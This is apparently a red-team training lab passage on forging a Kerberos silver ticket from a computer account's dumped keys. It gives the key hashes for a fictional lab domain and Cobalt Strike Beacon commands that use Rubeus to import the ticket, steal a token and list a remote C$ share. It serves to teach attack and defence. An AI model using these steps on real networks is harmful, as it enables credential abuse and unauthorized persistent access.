A "silver ticket" is a forged TGS, signed using the secret material (RC4/AES keys) of a computer account. You may forge a TGS for any user to any service on that machine, which is useful for short/medium-term persistence. By default, computer passwords change every 30 days, at which time you must re-obtain the new secrets to continue making silver tickets. Both silver and golden (coming up next) tickets are forged, so can be generated on your own machine and imported into your Beacon session for use.
Let's say we dumped Kerberos keys from Workstation 1 from a SYSTEM Beacon.
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WKSTN-1$
Domain : DEV
Logon Server : (null)
Logon Time : 9/9/2022 9:37:22 AM
SID : S-1-5-20
* Username : wkstn-1$
* Domain : DEV.CYBERBOTIC.IO
* Password : (null)
* Key List :
aes256_hmac c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7
rc4_hmac_nt fc0c8a61a83bafdffc587956d0020398
rc4_hmac_old fc0c8a61a83bafdffc587956d0020398
rc4_md4 fc0c8a61a83bafdffc587956d0020398
rc4_hmac_nt_exp fc0c8a61a83bafdffc587956d0020398
rc4_hmac_old_exp fc0c8a61a83bafdffc587956d0020398
\
On your Windows attacking machine, use Rubeus to forge a TGS for nlamb and the cifs service.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[-] could not open \\wkstn-1.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5668
[+] Ticket successfully imported!
[+] LUID : 0x423091
beacon> steal_token 5668
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[*] Listing: \\wkstn-1.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 08:17:30 $Recycle.Bin
dir 08/15/2022 22:22:31 $WinREAgent
dir 01/27/2022 18:18:49 Documents and Settings
dir 12/07/2019 09:14:52 PerfLogs
dir 08/22/2022 00:15:03 Program Files
dir 10/06/2021 13:57:25 Program Files (x86)
dir 09/08/2022 13:58:46 ProgramData
dir 08/17/2022 17:52:54 Recovery
dir 09/06/2022 08:17:28 System Volume Information
dir 08/16/2022 08:15:58 Users
dir 09/09/2022 10:38:50 Windows
8kb fil 09/09/2022 08:37:00 DumpStack.log.tmp
796mb fil 09/09/2022 08:37:00 hiberfil.sys
704mb fil 09/09/2022 08:37:00 pagefile.sys
16mb fil 09/09/2022 08:37:00 swapfile.sys